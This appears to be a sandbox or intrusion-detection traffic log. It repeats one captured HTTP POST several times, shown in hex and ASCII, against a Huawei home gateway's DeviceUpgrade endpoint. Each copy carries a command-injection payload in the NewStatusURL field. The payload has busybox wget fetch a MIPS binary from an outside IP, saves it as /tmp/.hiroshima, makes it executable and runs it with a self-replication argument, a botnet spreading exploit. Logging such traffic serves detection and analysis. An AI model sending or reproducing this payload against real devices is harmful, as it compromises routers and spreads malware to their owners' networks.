Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
